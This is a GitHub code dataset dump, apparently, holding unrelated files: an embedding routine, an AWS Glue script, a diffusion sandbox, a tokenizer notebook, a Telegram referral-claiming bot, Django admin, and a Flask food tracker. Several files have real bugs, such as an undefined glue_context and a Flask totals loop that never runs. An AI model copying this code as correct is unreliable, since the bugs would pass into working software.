self.adj34, verbose, timeout,\n return_walltime)\n\n emb = {i: [] for i in range(I)}\n\n if result is None:\n if return_walltime:\n return emb, timeout\n else:\n return emb\n\n if return_walltime:\n result, walltime = result\n\n for i in range(I):\n p1, p2, p3, p4 = result[i]\n if p1 != -1:\n emb[i].extend(self.U1[p1].pop())\n if (p2 != -1) & (p3 != -1):\n nodes = self.U23[(p2, p3)].pop()\n emb[i].extend(nodes[0])\n emb[i].extend(nodes[1])\n self.U2[p2].remove(nodes[0])\n self.U3[p3].remove(nodes[1])\n if p4 != -1:\n emb[i].extend(self.U4[p4].pop())\n\n for i in range(I):\n p1, p2, p3, p4 = result[i]\n if p2 != -1 & p3 == -1:\n emb[i].extend(self.U2[p2].pop())\n elif p3 != -1 & p2 == -1:\n emb[i].extend(self.U3[p3].pop())\n\n if return_walltime:\n return emb, walltime\n else:\n return emb\n", "repo_name": "Minusome/ember", "sub_path": "ember/template/quadripartite.py", "file_name": "quadripartite.py", "file_ext": "py", "file_size_in_byte": 10829, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "16", "api": [{"api_name": "ortools.sat.python.cp_model.CpModel", "line_number": 26, "usage_type": "call"}, {"api_name": "ortools.sat.python.cp_model", "line_number": 26, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 29, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 32, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 35, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 38, "usage_type": "call"}, {"api_name": "ortools.sat.python.cp_model.CpSolver", "line_number": 111, "usage_type": "call"}, {"api_name": "ortools.sat.python.cp_model", "line_number": 111, "usage_type": "name"}, {"api_name": "numpy.full", "line_number": 117, "usage_type": "call"}, {"api_name": "ortools.sat.python.cp_model.OPTIMAL", "line_number": 119, "usage_type": "attribute"}, {"api_name": "ortools.sat.python.cp_model", "line_number": 119, "usage_type": "name"}, {"api_name": "networkx.Graph", "line_number": 153, "usage_type": "attribute"}, {"api_name": "ember.hardware.chimera.ChimeraGraph", "line_number": 153, "usage_type": "name"}, {"api_name": "ember.hardware.transform.quadripartite_with_faults", "line_number": 161, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 180, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 192, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 195, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 200, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 202, "usage_type": "call"}, {"api_name": "numpy.insert", "line_number": 204, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 219, "usage_type": "call"}, {"api_name": "numpy.unique", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 231, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 232, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 254, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 255, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 256, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 257, "usage_type": "call"}, {"api_name": "ember.template._native.embed.run_quadripartite", "line_number": 263, "usage_type": "attribute"}, {"api_name": "ember.template._native.embed", "line_number": 263, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 268, "usage_type": "call"}]} +{"seq_id": "15468850386", "text": "import sys\nimport boto3\nfrom awsglue.utils import getResolvedOptions\nfrom awsglue.dynamicframe import DynamicFrame\n\nargs = getResolvedOptions(sys.argv, ['JOB_NAME', 'STREAM_NAME', 'S3_BUCKET'])\n\nstream_name = args['STREAM_NAME']\ns3_bucket = args['S3_BUCKET']\n\n# Create a Kinesis client\nkinesis_client = boto3.client('kinesis')\n\n# Read events from the Kinesis stream\nkinesis_stream = kinesis_client.describe_stream(StreamName=stream_name)\nshard_iterator = kinesis_client.get_shard_iterator(StreamName=stream_name, ShardId=kinesis_stream['StreamDescription']['Shards'][0]['ShardId'], ShardIteratorType='TRIM_HORIZON')['ShardIterator']\nrecords = kinesis_client.get_records(ShardIterator=shard_iterator, Limit=1000)['Records']\n\n# Convert the records to a DynamicFrame\ndynamic_frame = DynamicFrame.from_options(frame=records, connection_type='kinesis')\n\n# Write the records to S3\ns3_path = 's3://{}/events/'.format(s3_bucket)\nglue_context.write_dynamic_frame.from_options(frame=dynamic_frame, connection_type='s3', connection_options={'path': s3_path}, format='json')\n", "repo_name": "Swetha1009/glue-nifi-starter", "sub_path": "glue/sample-event.py", "file_name": "sample-event.py", "file_ext": "py", "file_size_in_byte": 1063, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "awsglue.utils.getResolvedOptions", "line_number": 6, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 6, "usage_type": "attribute"}, {"api_name": "boto3.client", "line_number": 12, "usage_type": "call"}, {"api_name": "awsglue.dynamicframe.DynamicFrame.from_options", "line_number": 20, "usage_type": "call"}, {"api_name": "awsglue.dynamicframe.DynamicFrame", "line_number": 20, "usage_type": "name"}]} +{"seq_id": "28650781217", "text": "import matplotlib.pyplot as plt\nimport numpy as np\n\n\ndef get_mean_free_path(carrier_atoms, carrier_fracs, ff_lightQ, pressure=1):\n\n kb = 1.380649E-23 # J/K\n T = 270 # k\n ff = 'Kr' if ff_lightQ else 'Xe'\n\n ds = {'He': 260E-12, 'Ar': 340E-12, 'Xe': 396E-12, 'Kr': 360E-12}\n\n d_carrier = np.average([ds[a] for a in carrier_atoms], weights=carrier_fracs)\n\n d = np.mean([d_carrier, ds[ff]])\n\n pressure *= 1E5 # bar -> Pa\n\n out = kb * T / (np.sqrt(2) * np.pi * d ** 2 * pressure)\n return out\n\n\ndef get_D(atoms,carrier_fracs, ff_lightQ, pressure=1):\n \"\"\"\n\n Args:\n atoms:\n N: Number of nucleons of species which is diffusing\n pressure:\n\n Returns:\n\n \"\"\"\n kb = 1.380649E-23 # J/K\n T = 270 # k\n\n N = 140 if ff_lightQ else 95\n\n lambda_ = get_mean_free_path(atoms, carrier_fracs, ff_lightQ, pressure=pressure)\n kg_per_u = 1.660539066E-27\n ke = 3/2 * kb * T\n\n mass = kg_per_u * N\n mean_vel = np.sqrt(2/mass * ke)\n return mean_vel * lambda_/3\n\n\nprint()\n\nts = np.linspace(0, 20, 100)\n\nmean_sqr_displacments = {139: get_D(['He', 'Ar'], [1, 1], False),\n 95: get_D(['He', 'Ar'], [1, 1], True)}\n\n\nfor k, d in mean_sqr_displacments.items():\n v = 100*np.sqrt(2 * ts * d)\n print(f\"D = {d} for {k}\")\n plt.plot(ts, v, label=k)\nplt.legend()\n\nplt.show()", "repo_name": "jeffburggraf/IACExperiment", "sub_path": "sandbox.py", "file_name": "sandbox.py", "file_ext": "py", "file_size_in_byte": 1353, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "numpy.average", "line_number": 13, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 15, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 19, "usage_type": "call"}, {"api_name": "numpy.pi", "line_number": 19, "usage_type": "attribute"}, {"api_name": "numpy.sqrt", "line_number": 44, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 50, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 57, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 59, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 59, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.legend", "line_number": 60, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 60, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 62, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 62, "usage_type": "name"}]} +{"seq_id": "23507296685", "text": "#!/usr/bin/env python\n# coding: utf-8\n\n# # Tokenising Text Data\n# In this notebook, you will learn how to tokenise text data using `tf.keras.preprocessing.text.Tokenizer`.\n\n# In[1]:\n\n\nimport tensorflow as tf\ntf.__version__\n\n\n# You have now downloaded and experimented with the IMDb dataset of labelled movie reviews. You will have noticed that the words have been mapped to integers. Converting a sequence of words to a sequence of numbers is called _tokenisation_. The numbers themselves are called _tokens_. Tokenisation is handy because it allows numerical operations to be applied to text data.\n# \n# The IMDb reviews were tokenised by mapping each word to a positive integer that indicated its frequency rank. Tokenisation could also have been applied at the level of characters rather than words.\n\n# ## The text dataset\n# The text we will work with in this notebook is Three Men in a Boat by Jerome K. Jerome, a comical short story about the perils of going outside.\n\n# In[2]:\n\n\n# Load the data\n\nwith open('data/ThreeMenInABoat.txt', 'r', encoding='utf-8') as file:\n text_string = file.read().replace('\\n', ' ')\n\n\n# In[3]:\n\n\n# Perform some simple preprocessing, replacing dashes with empty spaces\n\ntext_string = text_string.replace('—', '')\n\n\n# In[4]:\n\n\n# View an excerpt of the data\n\ntext_string[0:2001]\n\n\n# In[5]:\n\n\n# Split the text into sentences.\n\nsentence_strings = text_string.split('.')\n\n\n# In[6]:\n\n\n# View a sample of the dataset\n\nsentence_strings[20:30]\n\n\n# ## Create a Tokenizer object\n\n# The `Tokenizer` object allows you to easily tokenise words or characters from a text document. It has several options to allow you to adjust the tokenisation process. Documentation is available for the `Tokenizer` [here](https://www.tensorflow.org/api_docs/python/tf/keras/preprocessing/text/Tokenizer).\n\n# In[6]:\n\n\n# Define any additional characters that we want to filter out (ignore) from the text\n\nadditional_filters = '—’‘“”'\n\n\n# The Tokenizer has a `filters` keyword argument, that determines which characters will be filtered out from the text. The cell below shows the default characters that are filtered, to which we are adding our additional filters.\n\n# In[10]:\n\n\n# Create a Tokenizer object\n\nfrom tensorflow.keras.preprocessing.text import Tokenizer\n\ntokenizer = Tokenizer(num_words=None, \n filters='!\"#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~\\t\\n' + additional_filters,\n lower=True,\n split=' ',\n char_level=False,\n oov_token='',\n document_count=0)\n\n\n# In all, the `Tokenizer` has the following keyword arguments:\n# \n# `num_words`: int. the maximum number of words to keep, based on word frequency. Only the most common `num_words-1` words will be kept. If set to `None`, all words are kept.\n# \n# `filters`: str. Each element is a character that will be filtered from the texts. Defaults to all punctuation (inc. tabs and line breaks), except `'`.\n# \n# `lower`: bool. Whether to convert the texts to lowercase. Defaults to `True`.\n# \n# `split`: str. Separator for word splitting. Defaults to `' '`.\n# \n# `char_level`: bool. if True, every character will be treated as a token. Defaults to `False`.\n# \n# `oov_token`: if given, it will be added to word_index and used to replace out-of-vocabulary words during sequence_to_text calls. Defaults to `None`.\n\n# ### Fit the Tokenizer to the text\n# We can now tokenize our text using the `fit_on_texts` method. This method takes a list of strings to tokenize, as we have prepared with `sentence_strings`.\n\n# In[11]:\n\n\n# Build the Tokenizer vocabulary\n\ntokenizer.fit_on_texts(sentence_strings)\n\n\n# The `fit_on_texts` method could also take a list of lists of strings, and in this case it would recognise each element of each sublist as an individual token.\n\n# ### Get the Tokenizer configuration\n# Now that the Tokenizer has ingested the data, we can see what it has extracted from the text by viewing its configuration.\n\n# In[12]:\n\n\n# Get the tokenizer config as a python dict\n\ntokenizer_config = tokenizer.get_config()\ntokenizer_config.keys()\n\n\n# In[13]:\n\n\n# View the word_counts entry\n\ntokenizer_config['word_counts']\n\n\n# The above is the number of times each word appears in the corpus. As you can see, the word counts dictionaries in the config are serialized into plain JSON. The `loads()` method in the Python library `json` can be used to convert this JSON string into a dictionary.\n\n# In[14]:\n\n\n# Save the word_counts as a python dictionary\n\nimport json\n\nword_counts = json.loads(tokenizer_config['word_counts'])\n\n\n# The word index is derived from the `word_counts`. \n\n# In[15]:\n\n\n# View the word_index entry\n\ntokenizer_config['word_index']\n\n\n# In[16]:\n\n\n# Save word_index and index_word as python dictionaries\n\nindex_word = json.loads(tokenizer_config['index_word'])\nword_index = json.loads(tokenizer_config['word_index'])\n\n\n# ## Map the sentences to tokens\n# You can map each sentence to a sequence of integer tokens using the Tokenizer's `texts_to_sequences()` method. As was the case for the IMDb data set, the number corresponding to a word is that word's frequency rank in the corpus.\n\n# In[17]:\n\n\n# View the first 5 sentences\n\nsentence_strings[:5]\n\n\n# In[20]:\n\n\n# Tokenize the data\n\nsentence_seq = tokenizer.texts_to_sequences(sentence_strings)\n\n\n# In[21]:\n\n\n# The return type is a list\n\ntype(sentence_seq)\n\n\n# In[22]:\n\n\n# View the first 5 tokenized sentences\n\nsentence_seq[0:5]\n\n\n# In[28]:\n\n\n# Verify the mappings in the config\n\nprint(word_index['chapter'], word_index['i'])\nprint(word_index['three'], word_index['invalids'])\nprint(word_index['sufferings'], word_index['of'], word_index['george'], word_index['and'], word_index['harris'])\nprint(word_index['a'], word_index['victim'], word_index['to'], word_index['one'], word_index['hundred'], word_index['and'], word_index['seven'], word_index['fatal'], word_index['maladies'])\nprint(word_index['useful'], word_index['prescriptions'])\n\n\n# ## Map the tokens to sentences\n\n# You can map the tokens back to sentences using the Tokenizer's `sequences_to_texts` method.\n\n# In[29]:\n\n\n# View the first 5 tokenized sentences\n\nsentence_seq[0:5]\n\n\n# In[30]:\n\n\n# Map the token sequences back to sentences\n\ntokenizer.sequences_to_texts(sentence_seq)[:5]\n\n\n# In[31]:\n\n\n# Verify the mappings in the config\n\nprint(index_word['362'], index_word['8'])\nprint(index_word['126'], index_word['3362'])\nprint(index_word['2319'], index_word['6'], index_word['36'], index_word['3'], index_word['35'])\nprint(index_word['5'], index_word['1779'], index_word['4'], index_word['43'], index_word['363'], index_word['3'], index_word['468'], index_word['3363'], index_word['2320'])\nprint(index_word['2321'], index_word['3364'])\n\n\n# In[32]:\n\n\n# Any valid sequence of tokens can be converted to text\n\ntokenizer.sequences_to_texts([[92, 104, 241], [152, 169, 53, 2491]])\n\n\n# If a word is not featured in the Tokenizer's word index, then it will be mapped to the value of the Tokenizer's `oov_token` property. \n\n# In[33]:\n\n\n# Tokenize unrecognised words\n\ntokenizer.texts_to_sequences(['i would like goobleydoobly hobbledyho'])\n\n\n# In[34]:\n\n\n# Verify the OOV token\n\nindex_word['1']\n\n\n# ## Further reading and resources\n# * https://www.tensorflow.org/api_docs/python/tf/keras/preprocessing/text/Tokenizer\n# * https://nlp.stanford.edu/IR-book/html/htmledition/tokenization-1.html\n", "repo_name": "yuping3252/Tokenizing_Text_Data", "sub_path": "Tokenising Text Data.py", "file_name": "Tokenising Text Data.py", "file_ext": "py", "file_size_in_byte": 7409, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "tensorflow.__version__", "line_number": 11, "usage_type": "attribute"}, {"api_name": "tensorflow.keras.preprocessing.text.Tokenizer", "line_number": 83, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 148, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 166, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 167, "usage_type": "call"}]} +{"seq_id": "32561680667", "text": "from pyrogram import Client, filters\n\napi_id = 123\napi_hash = \"123\"\n\napp = Client(\"my_account\", api_id=api_id, api_hash=api_hash)\n\n\n@app.on_message(filters.channel)\ndef log(client, message):\n if(message.reply_markup):\n wallet_bot_link = message.reply_markup.inline_keyboard[0][0].url\n bot_link , refereal = wallet_bot_link.split('?')\n message = f\"/start {refereal.split('=')[1]}\"\n app.send_message(\"wallet\", message)\n\n\napp.run()\n", "repo_name": "justLive666/tonbot", "sub_path": "bot.py", "file_name": "bot.py", "file_ext": "py", "file_size_in_byte": 460, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "pyrogram.Client", "line_number": 6, "usage_type": "call"}, {"api_name": "pyrogram.filters.channel", "line_number": 9, "usage_type": "attribute"}, {"api_name": "pyrogram.filters", "line_number": 9, "usage_type": "name"}]} +{"seq_id": "5222164256", "text": "from django.contrib import admin\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth.admin import UserAdmin as BaseUserAdmin\n\nfrom .forms import UserAdminCreationForm, UserAdminChangeForm\nfrom .models import User\n\n\nclass UserAdmin(BaseUserAdmin):\n form = UserAdminChangeForm\n add_form = UserAdminCreationForm\n\n list_display = ('login', 'email', 'coins')\n list_filter = ('admin',)\n fieldsets = (\n ('Informacje konta', {'fields': (\n 'login',\n 'email',\n 'social_id',\n 'coins',\n ),}),\n ('Zezwolenia', {'fields': ('admin',)}),\n ('Bany', {'fields': ('status', 'availDt', 'powod'),}),\n )\n\n add_fieldsets = (\n (None, {\n 'classes': ('wide',),\n 'fields': ('email', 'password1', 'password2', 'login', 'social_id')}\n ),\n )\n\n search_fields = ('login', 'email',)\n ordering = ('login', 'email',)\n filter_horizontal = ()\n\n\nadmin.site.register(User, UserAdmin)\nadmin.site.unregister(Group)\n", "repo_name": "kaniak274/4d-website", "sub_path": "website/apps/users/admin.py", "file_name": "admin.py", "file_ext": "py", "file_size_in_byte": 1032, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "django.contrib.auth.admin.UserAdmin", "line_number": 9, "usage_type": "name"}, {"api_name": "forms.UserAdminChangeForm", "line_number": 10, "usage_type": "name"}, {"api_name": "forms.UserAdminCreationForm", "line_number": 11, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.register", "line_number": 38, "usage_type": "call"}, {"api_name": "models.User", "line_number": 38, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 38, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 38, "usage_type": "name"}, {"api_name": "django.contrib.admin.site.unregister", "line_number": 39, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.Group", "line_number": 39, "usage_type": "argument"}, {"api_name": "django.contrib.admin.site", "line_number": 39, "usage_type": "attribute"}, {"api_name": "django.contrib.admin", "line_number": 39, "usage_type": "name"}]} +{"seq_id": "11335132951", "text": "import datetime\nfrom db import get_db\nfrom flask import Flask, render_template, g, request, redirect, url_for\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'Secret'\n\n\n@app.teardown_appcontext\ndef close_db(error):\n if hasattr(g, 'sqlite3_db'):\n g.sqlite3_db.close()\n\n\n@app.route('/', methods=['GET', 'POST'])\ndef index():\n db = get_db()\n\n if request.method == 'POST' and request.form['new-day']:\n referrer = request.headers.get(\"Referer\")\n got_date = request.form['new-day'] # 2019-10-28\n\n if not got_date == '':\n date = datetime.datetime.strptime(got_date, '%Y-%m-%d')\n pretty_date = datetime.datetime.strftime(date, '%B %d, %Y')\n db_date = datetime.datetime.strftime(date, '%Y%m%d')\n cur = db.execute('SELECT entry_data, pretty_format FROM log_date WHERE entry_data = ?', [db_date])\n all_dates = cur.fetchall()\n\n # Duplicates protection\n result = []\n columns = [column[0] for column in cur.description]\n for row in all_dates:\n result.append(dict(zip(columns, row)))\n if len(result) == 0:\n db.execute('INSERT INTO log_date (entry_data, pretty_format) VALUES (?, ?)', [db_date, pretty_date])\n db.commit()\n\n # Prevent resubmit\n return redirect(referrer)\n\n # Totals for days\n log_food_cur = db.execute(\n '''\n SELECT log_date.entry_data, log_date.pretty_format, \n sum(food.protein) as protein, sum(food.carbohydrates) as carbohydrates, \n sum(food.fat) as fat, sum(food.calories) as calories\n FROM log_date \n LEFT JOIN food_date ON log_date.entry_data = food_date.log_date \n LEFT JOIN food on food.id = food_date.food_id\n GROUP by log_date.entry_data\n ORDER by log_date.entry_data DESC;\n ''')\n all_dates = log_food_cur.fetchall()\n request.form = None\n db.close()\n\n return render_template('index.html', all_dates=all_dates)\n\n\n@app.route('/view_day/', methods=['GET', 'POST'])\ndef view_day(date):\n db = get_db()\n\n if request.method == 'POST':\n referrer = request.headers.get(\"Referer\")\n db.execute('INSERT INTO food_date (food_id, log_date) VALUES (?, ?)',\n [request.form['food-select'], date])\n db.commit()\n # Prevent resubmit\n return redirect(referrer)\n\n cur = db.execute('SELECT pretty_format FROM log_date WHERE entry_data = ?', [date])\n date_data = cur.fetchone()\n\n try:\n date_data['pretty_format']\n except TypeError:\n return render_template('404.html', message='No date: {} found!'.format(date))\n\n # Products dropdown list\n food_cur = db.execute('select id, name from food')\n food_results = food_cur.fetchall()\n\n # Products consumed during the day\n log_food_cur = db.execute(\n '''\n SELECT food_date.id AS id, food.name, food.protein, food.carbohydrates, food.fat, food.calories \n FROM food JOIN food_date ON food_date.food_id = food.id WHERE log_date = ?\n ''', [date])\n food_for_day = log_food_cur.fetchall()\n\n totals = {}\n totals['protein'] = 0\n totals['carbohydrates'] = 0\n totals['fat'] = 0\n totals['calories'] = 0\n for food in food_for_day:\n if __name__ == '__main__':\n totals['protein'] += food['protein']\n totals['carbohydrates'] += food['carbohydrates']\n totals['fat'] += food['fat']\n totals['calories'] += food['calories']\n\n db.close()\n return render_template('view_day.html',\n pretty_format=date_data['pretty_format'],\n date=date,\n totals=totals,\n food_for_day=food_for_day,\n food_results=food_results)\n\n\n@app.route('/add_food', methods=['GET', 'POST'])\ndef add_food():\n db = get_db()\n\n if request.method == 'POST':\n food_name = request.form['food-name']\n\n protein = int(request.form['protein'])\n fat = int(request.form['fat'])\n carbohydrates = int(request.form['carbohydrates'])\n calories = protein * 4 + fat * 9 + carbohydrates * 4\n\n db.execute('INSERT INTO food (name, protein, carbohydrates, fat, calories) VALUES (?, ?, ?, ?, ?)',\n [food_name, protein, carbohydrates, fat, calories])\n db.commit()\n\n cur = db.execute('SELECT id, name, protein, carbohydrates, fat, calories FROM food')\n all_food = cur.fetchall()\n db.close()\n\n return render_template('add_food.html', all_food=all_food)\n\n\n@app.route('/delete')\ndef delete():\n referrer = request.headers.get(\"Referer\")\n\n if referrer is None:\n return redirect(url_for('index'))\n\n db = get_db()\n\n if 'add_food' in referrer:\n food_id = request.args.get('food')\n db.execute('DELETE FROM food WHERE id = ?', [food_id])\n elif 'view_day' in referrer:\n record_id = request.args.get('id')\n log_date = request.args.get('date')\n db.execute('DELETE FROM food_date WHERE log_date = ? AND id = ?', [log_date, record_id])\n else:\n day = request.args.get('day')\n db.execute('DELETE FROM log_date WHERE entry_data = ?', [day])\n db.commit()\n db.close()\n\n return redirect(referrer)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n", "repo_name": "samuraii/falsk_food_traccker", "sub_path": "app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 5359, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "flask.Flask", "line_number": 5, "usage_type": "call"}, {"api_name": "flask.g", "line_number": 11, "usage_type": "argument"}, {"api_name": "flask.g.sqlite3_db.close", "line_number": 12, "usage_type": "call"}, {"api_name": "flask.g.sqlite3_db", "line_number": 12, "usage_type": "attribute"}, {"api_name": "flask.g", "line_number": 12, "usage_type": "name"}, {"api_name": "db.get_db", "line_number": 17, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 19, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 19, "usage_type": "attribute"}, {"api_name": "flask.request.headers.get", "line_number": 20, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 20, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 20, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 21, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 21, "usage_type": "name"}, {"api_name": "datetime.datetime.strptime", "line_number": 24, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 24, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strftime", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 25, "usage_type": "attribute"}, {"api_name": "datetime.datetime.strftime", "line_number": 26, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 26, "usage_type": "attribute"}, {"api_name": "db.execute", "line_number": 27, "usage_type": "call"}, {"api_name": "db.execute", "line_number": 36, "usage_type": "call"}, {"api_name": "db.commit", "line_number": 37, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 40, "usage_type": "call"}, {"api_name": "db.execute", "line_number": 43, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 55, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 55, "usage_type": "name"}, {"api_name": "db.close", "line_number": 56, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 58, "usage_type": "call"}, {"api_name": "db.get_db", "line_number": 63, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 65, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 65, "usage_type": "name"}, {"api_name": "flask.request.headers.get", "line_number": 66, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 66, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 66, "usage_type": "name"}, {"api_name": "db.execute", "line_number": 67, "usage_type": "call"}, {"api_name": "flask.request.form", "line_number": 68, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 68, "usage_type": "name"}, {"api_name": "db.commit", "line_number": 69, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 71, "usage_type": "call"}, {"api_name": "db.execute", "line_number": 73, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 79, "usage_type": "call"}, {"api_name": "db.execute", "line_number": 82, "usage_type": "call"}, {"api_name": "db.execute", "line_number": 86, "usage_type": "call"}, {"api_name": "db.close", "line_number": 105, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 106, "usage_type": "call"}, {"api_name": "db.get_db", "line_number": 116, "usage_type": "call"}, {"api_name": "flask.request.method", "line_number": 118, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 118, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 119, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 119, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 121, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 121, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 122, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 122, "usage_type": "name"}, {"api_name": "flask.request.form", "line_number": 123, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 123, "usage_type": "name"}, {"api_name": "db.execute", "line_number": 126, "usage_type": "call"}, {"api_name": "db.commit", "line_number": 128, "usage_type": "call"}, {"api_name": "db.execute", "line_number": 130, "usage_type": "call"}, {"api_name": "db.close", "line_number": 132, "usage_type": "call"}, {"api_name": "flask.render_template", "line_number": 134, "usage_type": "call"}, {"api_name": "flask.request.headers.get", "line_number": 139, "usage_type": "call"}, {"api_name": "flask.request.headers", "line_number": 139, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 139, "usage_type": "name"}, {"api_name": "flask.redirect", "line_number": 142, "usage_type": "call"}, {"api_name": "flask.url_for", "line_number": 142, "usage_type": "call"}, {"api_name": "db.get_db", "line_number": 144, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 147, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 147, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 147, "usage_type": "name"}, {"api_name": "db.execute", "line_number": 148, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 150, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 150, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 150, "usage_type": "name"}, {"api_name": "flask.request.args.get", "line_number": 151, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 151, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 151, "usage_type": "name"}, {"api_name": "db.execute", "line_number": 152, "usage_type": "call"}, {"api_name": "flask.request.args.get", "line_number": 154, "usage_type": "call"}, {"api_name": "flask.request.args", "line_number": 154, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 154, "usage_type": "name"}, {"api_name": "db.execute", "line_number": 155, "usage_type": "call"}, {"api_name": "db.commit", "line_number": 156, "usage_type": "call"}, {"api_name": "db.close", "line_number": 157, "usage_type": "call"}, {"api_name": "flask.redirect", "line_number": 159, "usage_type": "call"}]} +{"seq_id": "4986891470", "text": "from typing import Tuple, Optional\n\nfrom math import floor\n\nimport logging\nlogger = logging.getLogger(__name__)\n\nfrom production.basics import JUMP_LONG, Pos, Diff\nfrom production.commands import *\nfrom production.model import Model\nfrom production.orchestrate import parallel, sequential, wait_for\n\ndef bounding_box(model) -> Tuple[Optional[Pos], Optional[Pos]]:\n return bounding_box_region(model)\n\ndef bounding_box_region(\n model,\n fx: Optional[int] = None,\n fy: Optional[int] = None,\n fz: Optional[int] = None) -> Tuple[Optional[Pos], Optional[Pos]]:\n def rangify(R, fv = None):\n if fv is None:\n fv = range(R)\n else:\n fv = [fv]\n return fv\n fx = rangify(model.R, fx)\n fy = rangify(model.R, fy)\n fz = rangify(model.R, fz)\n\n pos0 = pos1 = None\n for x in fx:\n for y in fy:\n for z in fz:\n if model[Pos(x,y,z)]:\n if pos0 is None:\n pos0 = pos1 = Pos(x,y,z)\n filled_cell_visited = True\n else:\n pos0 = Pos(min(pos0.x,x),min(pos0.y,y),min(pos0.z,z))\n pos1 = Pos(max(pos1.x,x),max(pos1.y,y),max(pos1.z,z))\n\n return (pos0,pos1)\n\ndef bounding_box_footprint(model):\n pos0, pos1 = bounding_box_region(model)\n pos0 = Pos(pos0.x, 0, pos0.z)\n pos1 = 